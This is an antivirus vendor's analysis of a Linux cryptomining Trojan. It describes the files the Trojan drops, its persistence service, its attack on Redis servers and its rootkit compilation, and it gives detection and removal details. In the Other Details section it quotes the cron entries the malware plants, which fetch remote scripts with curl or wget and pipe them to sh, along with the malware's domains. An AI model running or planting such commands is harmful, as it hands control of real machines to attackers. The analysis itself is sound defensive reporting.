Analysis by: Earle Maui Earnshaw
ALIASES:

ELF:BitCoinMiner-HK [Trj] (AVAST)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 6,172,736 bytes
File Type: ELF
Memory Resident: Yes
Initial Samples Received Date: 24 Oct 2019
Payload: Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

It drops the following copies of itself into the affected system:

  • /usr/local/bin/{random}
  • /usr/libexec/tmp/{random}
  • /usr/bin/{random}
  • /tmp/{random}

It adds the following processes:

  • /usr/local/lib/{random}.so

Autostart Technique

This Trojan adds and runs the following services:

  • /etc/init.d/sshservice

Other System Modifications

This Trojan modifies the following file(s):

  • /etc/hosts

It deletes the following files:

  • /usr/local/bin/{random}
  • /usr/local/sbin/{random}
  • /usr/bin/{random}
  • /usr/libexec/tmp/{random}
  • /tmp/{random}

Other Details

This Trojan does the following:

  • It tries to access Redis servers in order to compromise it
  • Installs GCC in the system to compile the source code of the rootkit, then execute it.
  • Creates the following cronjobs to enable automatic execution of a shell script found in pastebin every 15 minutes:
    • Paths:
      • /var/spool/cron/root
      • /etc/cron.d/root
      • /var/spool/cron/crontabs/root
    • Content: */15 * * * * (curl -fsSL lsd.system.org||wget -q -O- lsd.system.org)|sh
  • Creates the following cronjob to enable automatic execution of a shell script found in the URL every 10 minutes:
    • Path: /etc/cron.d/root
    • Content: */10 * * * * root (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh
  • Creates the following cronjobs to enable automatic execution of a shell script found in pastebin every 30 minutes:
    • Paths:/var/spool/cron/crontabs/root
    • Content: */30 * * * * (curl -fsSL -m180 lsd.system.org||wget -q -T180 -O- lsd.system.org)|sh
  • Installs GCC in the system to compile the source code of the rootkit, then execute it.
  • It connects to the following URLs:
    • {BLOCKED}vifaxsi9vovnc9jjay2l.com:80
    • cron.{BLOCKED}xsi9vovnc9jjay2l.com

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.450.07
FIRST VSAPI PATTERN DATE: 24 Oct 2019
VSAPI OPR PATTERN File: 15.451.00
VSAPI OPR PATTERN Date: 25 Oct 2019

Scan your computer with your Trend Micro product to delete files detected as Trojan.Linux.KERBERDS.UWEJL. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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